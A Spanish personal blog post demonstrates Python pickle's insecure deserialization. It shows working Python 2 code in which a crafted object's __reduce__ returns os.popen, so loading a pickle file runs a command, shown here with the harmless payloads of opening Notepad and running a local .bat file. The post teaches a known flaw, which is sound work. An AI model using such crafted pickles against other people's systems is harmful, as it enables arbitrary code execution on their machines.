Acerca de:

Este blog contiene los códigos, ejemplos y bases de datos que he usado cuando aprendía acerca de algún tema específico. En lugar de borrarlos (una vez dominado ya el tema), he decidido publicarlos :)

martes, 24 de noviembre de 2020

Ejemplo de la vulnerabilidad de la librería Pickle de Python

 En la documentación de la libreria Pickle aparece esta advertencia:

"El módulo pickle no es seguro". No sólo eso, explotar su vulnerabilidad es tan fácil que se puede codificar en menos de diez minutos.

Un bonito tutorial en español de Pickle está aquí. Pero lo relevante lo dicen en esta web en inglés.

Para explicar de qué va la vulnerabilidad, primero mostraré un ejemplito tonto, le mando a la clase Pickle un código que llama a subprocess.call() y abre el block de notas en windows:

# coding=utf-8
import subprocess
import pickle
import cPickle

# pickle sample https://programacion.net/articulo/los_pickles_de_python_1860
todo = "subprocess.call(\"notepad.exe\", shell=True)"
pickle_file = file('todo.pickle', 'w')
pickle.dump(todo, pickle_file)
pickle_file.close()

# el siguiente código puede ejecutarse en otra máquina
# basta enviarle el archivo todo.pickle

pickle_file = file('todo.pickle')
todo2 = pickle.load(pickle_file)
pickle_file.close()
exec todo2

Es un ejemplo tonto porque depende de la función exec() de Python, la cual ejecuta un código arbitrario. El código para ejecutar código arbitrario directamente con Pickle nos la da la web de root4loot, lo he modificado para que en lugar de una petición a un servidor, se ejecute al abrir un archivo:

# coding=utf-8
import pickle
import cPickle

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "notepad.exe"
        return (os.popen, (s,))

def main():

    payload = cPickle.dumps(MMM())

    pickle_file = file('todo.pickle', 'w')
    pickle.dump(MMM(), pickle_file)
    pickle_file.close()

    # el siguiente código puede ejecutarse en otra máquina
    # basta enviarle el archivo todo.pickle   

    pickle_file = file('todo.pickle')
    pickle.load(pickle_file)
        
    pickle_file.close()

if __name__ == "__main__":
    main()

 

Más allá de la vulnerabilidad, se me vienen a la mente otros usos como compilación automática de código, descarga de paquetes o ejecución de archivos bat o bash. Por ejemplo, tengo el siguiente bat en mi disco D: llamado sample_bat.bat, que copié de algún sitio en internet:

@echo off
REM Next command creates a list of program files
dir "C:\Program Files" > D:\list_of_program_files.txt

En la clase MM en el código de roo4loot hago el siguiente cambio:

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "D:\\sample_bat.bat"
        return (os.popen, (s,))

 

Y al ejecutar el script de python, me creó este archivo en mi disco D: 


El único detalle es que no se imprime nada en la consola donde se ejecuta el script de python.